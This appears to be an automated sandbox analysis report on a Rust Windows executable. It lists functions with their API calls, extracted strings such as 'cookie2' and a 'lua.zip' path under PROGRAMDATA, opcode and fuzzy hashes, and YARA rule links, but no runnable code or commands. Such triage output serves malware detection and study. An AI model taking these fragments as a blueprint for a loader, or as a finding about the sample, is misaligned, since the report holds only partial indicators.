Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess$Startup
String ID: assertion failed: len as usize >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len as usize >= mem::size_of::<c::sockaddr_in>()$called `Option::unwrap()` on a `None` value
API String ID: 4108985043-2761596415
Opcode ID: a4606d79a56bf09ca5e1588f1b726edc28f90bf127736269f340a9b9d434489e
Instruction ID: 7bf66c34258251c45df887d042af2bd29a630191db76b94af967d857fddabec0
Opcode Fuzzy Hash: a4606d79a56bf09ca5e1588f1b726edc28f90bf127736269f340a9b9d434489e
Instruction Fuzzy Hash: 7E51C222E0864681F7245B25E8213F92360EF94744F4CC435DA9DA77A2EE7EFAC5C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D2BE6, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 1899COMMON

Download Yara Rule

Strings

httphttpswswssfile//, xrefs: 00007FF6566D5FEE
called `Option::unwrap()` on a `None` value, xrefs: 00007FF6566D839E
cookie2, xrefs: 00007FF6566D6588
Flashload task err, xrefs: 00007FF6566D7438
`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs, xrefs: 00007FF6566D8366, 00007FF6566D838E
Pending error polled more than once, xrefs: 00007FF6566D8335

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: Flashload task err$Pending error polled more than once$`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs$called `Option::unwrap()` on a `None` value$cookie2$httphttpswswssfile//
API String ID: 1617791916-313371232
Opcode ID: eeb2a01e47284df70b425cc3dbf3878a726b7792ff1e8817eb673eb4a26942a7
Instruction ID: 44208bdd94679c67a10183cfc3f9739f6775b0052efcdab1cd03f2fe5699c170
Opcode Fuzzy Hash: eeb2a01e47284df70b425cc3dbf3878a726b7792ff1e8817eb673eb4a26942a7
Instruction Fuzzy Hash: B0237F32A08BC281E7219B15E4553EE73B4FB84B84F588131DA8DA77A9DF3DE185CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D4507, Relevance: 10.0, Strings: 7, Instructions: 1219COMMON

Download Yara Rule

Strings

httphttpswswssfile//, xrefs: 00007FF6566D4922
has_authority means set_password shouldn't fail, xrefs: 00007FF6566D530C
://, xrefs: 00007FF6566D474E
usize overflow when calculating buffer size, xrefs: 00007FF6566D83B0
Basic integer overflow when calculating buffer size, xrefs: 00007FF6566D53B8
`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs, xrefs: 00007FF6566D81AE, 00007FF6566D8366, 00007FF6566D838E
has_authority means set_username shouldn't fail, xrefs: 00007FF6566D52E9

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ://$Basic integer overflow when calculating buffer size$`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs$has_authority means set_password shouldn't fail$has_authority means set_username shouldn't fail$httphttpswswssfile//$usize overflow when calculating buffer size
API String ID: 0-3295358454
Opcode ID: a324baf6df376fbc5a2b89093908f65fa152e4e7672e4ad0f758a7450d812e98
Instruction ID: 0089425f316853287adaf09a088cb9a285a26e5358f55c813e895fa47f92b60e
Opcode Fuzzy Hash: a324baf6df376fbc5a2b89093908f65fa152e4e7672e4ad0f758a7450d812e98
Instruction Fuzzy Hash: BAD26A2260CBC280E7719B15E4503EEB7A0FB95784F488122DACCA7B99DF3ED195DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65671F3FC, Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 321filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65670E74B: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00007FF6566D2A74,?,?,?,?,?,?,?,00007FF6566D22D9), ref: 00007FF65670E75A

NtDeviceIoControlFile.NTDLL ref: 00007FF65671F5A2
RtlNtStatusToDosError.NTDLL ref: 00007FF65671F5B5

Strings

assertion failed: i < self.len(), xrefs: 00007FF65671F899
Out of bounds access, xrefs: 00007FF65671F87F

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireControlDeviceErrorExclusiveFileLockStatus
String ID: Out of bounds access$assertion failed: i < self.len()
API String ID: 2532488911-2632114829
Opcode ID: f2b431260f98d56c5e821068f3709f0b9e51560a1b5654d7713e7b1da59773ab
Instruction ID: 681d49c5c4ea65a6508a08871faf1cb9bf5a5e4de3c7ee89c0336cbc7b4a7644
Opcode Fuzzy Hash: f2b431260f98d56c5e821068f3709f0b9e51560a1b5654d7713e7b1da59773ab
Instruction Fuzzy Hash: 40D10672B08B4696EB10DF16E4603AD73A0FB84B90F484136DA9DA7B55DF3EE095C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567965C4, Relevance: 2.4, Strings: 1, Instructions: 1175COMMON

Download Yara Rule

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF656797F82

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: called `Option::unwrap()` on a `None` value
API String ID: 0-836832528
Opcode ID: 2ab8ccaf2456a029cc49f424e8f23e4c4a2e2eaad4d6052fc8be7e651b1ed7ac
Instruction ID: 2372dd92d8685bcc7d47673132d4a6fc54085b189d8755e75d7d33ade99cb478
Opcode Fuzzy Hash: 2ab8ccaf2456a029cc49f424e8f23e4c4a2e2eaad4d6052fc8be7e651b1ed7ac
Instruction Fuzzy Hash: 24E2A176609BC58AD7A0CF29E48479AB3E4F788B94F144129DBDD93B58EF39D490CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DF3CB, Relevance: 1.6, APIs: 1, Instructions: 101timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6566DF46C

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: 379e9fc131d3d0907018363ce15b43c21291cb24fdd37c7b3333481cf7225082
Instruction ID: f2fdeea6532352fd42eaa915c137af36dfe3ed09f607bc86ae499b0ec896b41c
Opcode Fuzzy Hash: 379e9fc131d3d0907018363ce15b43c21291cb24fdd37c7b3333481cf7225082
Instruction Fuzzy Hash: D7419273A04B5197D714CF29E9803A973A0F748754F588236DB4887BA4EF3DD566CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DF27A, Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF6566DF28B

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: called `Option::unwrap()` on a `None` value
API String ID: 0-836832528
Opcode ID: 227b5007f3b89f13a3e2f9d998442ac3c98f9c837e158fd991ccce356c344bd8
Instruction ID: 86b67de213df6eb8355951ec4b35462cb200fb2337b570ce752fa92fcc986a41
Opcode Fuzzy Hash: 227b5007f3b89f13a3e2f9d998442ac3c98f9c837e158fd991ccce356c344bd8
Instruction Fuzzy Hash: 5C012641F1D64642EF18E762A5112B55292AFE8BC4F5DC532E90FA7B88CE2DE9039701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678BB50, Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678BB67
HeapAlloc.KERNEL32 ref: 00007FF65678BB77
GetProcessHeap.KERNEL32 ref: 00007FF65678BBEF
HeapFree.KERNEL32 ref: 00007FF65678BBFC
GetLastError.KERNEL32 ref: 00007FF65678BC01
GetLastError.KERNEL32 ref: 00007FF65678BC60
GetProcessHeap.KERNEL32 ref: 00007FF65678BC8A
HeapFree.KERNEL32 ref: 00007FF65678BC97

Strings

failed to reserve stack space for exception handling, xrefs: 00007FF65678BCA6

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$ErrorFreeLast$Alloc
String ID: failed to reserve stack space for exception handling
API String ID: 2806166860-435990078
Opcode ID: 827aa51135b4361c9dc9dd7de96efcfd456225d3bc586b8a2dc0458072e91876
Instruction ID: cb51417385de3c8fd3a29f603cd245cfd4e65ed84db8785cb3f1f5289dabd3bd
Opcode Fuzzy Hash: 827aa51135b4361c9dc9dd7de96efcfd456225d3bc586b8a2dc0458072e91876
Instruction Fuzzy Hash: 3231B762A08A4241F714DB62E4653BE6291EF84BD0F0D8535EE6C977E6EF3DE542C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D1175, Relevance: 12.7, APIs: 1, Strings: 7, Instructions: 661COMMON

Download Yara Rule

Strings

{}, xrefs: 00007FF6566D12D1
called `Option::unwrap()` on a `None` value, xrefs: 00007FF6566D1EB1, 00007FF6566D1ECB, 00007FF6566D1EDB
System, xrefs: 00007FF6566D1579
TEMP, xrefs: 00007FF6566D11EA
\lua.zipPROGRAMDATA, xrefs: 00007FF6566D1221
z|, xrefs: 00007FF6566D12E8
T}, xrefs: 00007FF6566D12C2

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: System$TEMP$\lua.zipPROGRAMDATA$called `Option::unwrap()` on a `None` value$T}$z|${}
API String ID: 0-503644808
Opcode ID: 6371ffff3c1a9a528ec6078f6a568e41758f50a2f48eed3f5c46f68b052aafb9
Instruction ID: 9fdc36691fdfe5072da3ab661d42cb942ae8004d3db7b924a182280efd9e6123
Opcode Fuzzy Hash: 6371ffff3c1a9a528ec6078f6a568e41758f50a2f48eed3f5c46f68b052aafb9
Instruction Fuzzy Hash: 63726C32A18B8692EB20DB15E4503EDB3B4FB84B84F544131DA8DA7BA9DF7DE146C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65679483B, Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 313COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65678E64F: AcquireSRWLockExclusive.KERNEL32(?,?,?,00007FF6567902A1), ref: 00007FF65678E657

WakeConditionVariable.KERNEL32 ref: 00007FF6567948EE

Strings

assertion failed: shared.shutdown_tx.is_some(), xrefs: 00007FF656794CD8
setybdet, xrefs: 00007FF656794AE7
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF656794CBB
uespemos, xrefs: 00007FF656794AC0
arenegyl, xrefs: 00007FF656794ADA
modnarod, xrefs: 00007FF656794ACD

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireConditionExclusiveLockVariableWake
String ID: arenegyl$assertion failed: shared.shutdown_tx.is_some()$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs$modnarod$setybdet$uespemos
API String ID: 2350203089-3621706077
Opcode ID: d14712836af90e1f5a8d695fd9cea928a6e19fc06ff3c4ad2de0f0744c22db42
Instruction ID: 89940d6eb61927e3dd76965834d7444922bf63c296a7fb3976baca8d0922d294
Opcode Fuzzy Hash: d14712836af90e1f5a8d695fd9cea928a6e19fc06ff3c4ad2de0f0744c22db42
Instruction Fuzzy Hash: F7D1BF32A09B8581EA509F15E5503AD73A4FB84B98F188231DF8DA779ADF3AE556C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D117A, Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 315COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6566D13AE

Strings

{}, xrefs: 00007FF6566D12D1
System, xrefs: 00007FF6566D1579
TEMP, xrefs: 00007FF6566D11EA
\lua.zipPROGRAMDATA, xrefs: 00007FF6566D1221
z|, xrefs: 00007FF6566D12E8
T}, xrefs: 00007FF6566D12C2

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle
String ID: System$TEMP$\lua.zipPROGRAMDATA$T}$z|${}
API String ID: 2962429428-2956829335
Opcode ID: 87945918d506e527472c9f6361d8b0b65a66148966a564b15efe81a14d022295
Instruction ID: 8749acadf7afd05b97cad95c9c0583d5a574fff731cd2144e57bbdff5bc25562
Opcode Fuzzy Hash: 87945918d506e527472c9f6361d8b0b65a66148966a564b15efe81a14d022295
Instruction Fuzzy Hash: A1E1B772A1CB8281EB20DB11E5503EDA361FF85B84F584131DA8DA7BA5DF7EE146CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656784420, Relevance: 7.7, APIs: 6, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9833608066f3ff1fb6c2588829312d3580d254a32a2d9eaa775cc2616845eb62
Instruction ID: a0c6364e61d5e51cf7d5c0f97f60314e64e51e6c688d006746e085f8fb488815
Opcode Fuzzy Hash: 9833608066f3ff1fb6c2588829312d3580d254a32a2d9eaa775cc2616845eb62
Instruction Fuzzy Hash: DE51D811E086C641FA76972594213F96350EF85794F4C8231DE9C677AAEF3EE6C6C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678BCC0, Relevance: 7.6, APIs: 5, Instructions: 67memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678BD38

Part of subcall function 00007FF6566DB4D0: GetProcessHeap.KERNEL32(?,?,?,00007FF6566DD529), ref: 00007FF6566DB4DE

SetThreadDescription.KERNELBASE ref: 00007FF65678BD68
SetLastError.KERNEL32 ref: 00007FF65678BD71
GetProcessHeap.KERNEL32 ref: 00007FF65678BD7F
HeapFree.KERNEL32 ref: 00007FF65678BD8C

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$DescriptionErrorFreeLastThread
String ID:
API String ID: 2227028877-0
Opcode ID: 2fab121ce446b1c0fb672cbd3e4b5196a2804696cf054b3278b0aa9110e5cc65
Instruction ID: e6f727898760994b08ed919807c9246ca8d63a5184bfd59cddedabc204f723b0
Opcode Fuzzy Hash: 2fab121ce446b1c0fb672cbd3e4b5196a2804696cf054b3278b0aa9110e5cc65
Instruction Fuzzy Hash: 5A21FD16A0CA4651EA149B16E42437E6751DFC5FC0F1C8035EE4DA77B9DE3ED946C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567848E0, Relevance: 6.3, APIs: 5, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678493C
HeapFree.KERNEL32 ref: 00007FF656784949

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 775776bc67913bd079b9c7d8bfc0c1704da060547e2ad71c17d6a3b9ef5f53c7
Instruction ID: 059b5d3fd41198a52e12580a697ae155cb2fd7bd901e106475bcf09174010b82
Opcode Fuzzy Hash: 775776bc67913bd079b9c7d8bfc0c1704da060547e2ad71c17d6a3b9ef5f53c7
Instruction Fuzzy Hash: BD11C651F1955201FA7596675B212B6D4822F84BD0F1D8234EEADF7BEEEC7EEA01C200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678AF10, Relevance: 6.3, APIs: 5, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678AF6A
HeapFree.KERNEL32 ref: 00007FF65678AF77

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 9f64ee9960d6597d5be22b35d8451182629f11ac71359b0962e9d8c4b2b1d810
Instruction ID: f7dbd13d0f415c1b4898fc0c553ee0a3e5051433cdf53bbd61768dbe06365ef7
Opcode Fuzzy Hash: 9f64ee9960d6597d5be22b35d8451182629f11ac71359b0962e9d8c4b2b1d810
Instruction Fuzzy Hash: FF11C692F1995201F96195535A202B6D4912F54BD0F1D8031FD6DF7BEAED3EEA02CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567919E3, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF656791A12
GetLastError.KERNEL32 ref: 00007FF656791A5C

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF656791A4C, 00007FF656791AB8

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseErrorHandleLast
String ID: called `Option::unwrap()` on a `None` value
API String ID: 918212764-836832528
Opcode ID: 9721a79bd07ceb2275da02514811a82f054e2e48229d8d42e0526d84ed9b72ac
Instruction ID: d33e7d58f6066a4290591c22522a2991bf731a0a7bf4501d4c661f918a835c37
Opcode Fuzzy Hash: 9721a79bd07ceb2275da02514811a82f054e2e48229d8d42e0526d84ed9b72ac
Instruction Fuzzy Hash: 3C41A772A19B4581EB25DB15D5603BD23B0FB44B98F688232CA2DA73E0DF3ED856C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656784D60, Relevance: 3.8, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6567846C7), ref: 00007FF656784DEB
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6567846C7), ref: 00007FF656784DFA

Part of subcall function 00007FF6566DB4D0: GetProcessHeap.KERNEL32(?,?,?,00007FF6566DD529), ref: 00007FF6566DB4DE

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6567846C7), ref: 00007FF656784E16

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$CloseFreeHandle
String ID:
API String ID: 2022048041-0
Opcode ID: 639737bc88c755f4418b7a58c2ab3ec322647202125000abef22a3bce5c500df
Instruction ID: d20c683bc9fcbd6be4b88be41d5a7708001f54b06e44aff0943574bf45c198b4
Opcode Fuzzy Hash: 639737bc88c755f4418b7a58c2ab3ec322647202125000abef22a3bce5c500df
Instruction Fuzzy Hash: FE21EA3290C64181F720DB15E0513AEA761EF95784F598234EB9CA7BB8DF7ED586CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65679080B, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF656790B89

Strings

i/o driver event store missing, xrefs: 00007FF656790CA0

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireExclusiveLock
String ID: i/o driver event store missing
API String ID: 4021432409-1516099523
Opcode ID: e06efa7698e92bd1dc809788e3875f7004808575da591f98070d6249d2c5a243
Instruction ID: ec733447774694bd6040ccd396e57be53c21881a4453d46aa4e70ee42a2a2dfa
Opcode Fuzzy Hash: e06efa7698e92bd1dc809788e3875f7004808575da591f98070d6249d2c5a243
Instruction Fuzzy Hash: EED10A22A19B8582F660DB15E4113FAA7A0FF85B88F484235EF8D677A5DF3DE585C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DB460, Relevance: 3.8, APIs: 3, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000007,00000007,00007FF6566EF243,?,?,?,00007FF656705BAC,?,?,?,?,00000000), ref: 00007FF6566DB470
GetProcessHeap.KERNEL32(00000000,00000007,00000007,00007FF6566EF243,?,?,?,00007FF656705BAC,?,?,?,?,00000000), ref: 00007FF6566DB48F
HeapAlloc.KERNEL32(00000000,00000007,00000007,00007FF6566EF243,?,?,?,00007FF656705BAC,?,?,?,?,00000000), ref: 00007FF6566DB49E

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc
String ID:
API String ID: 651230671-0
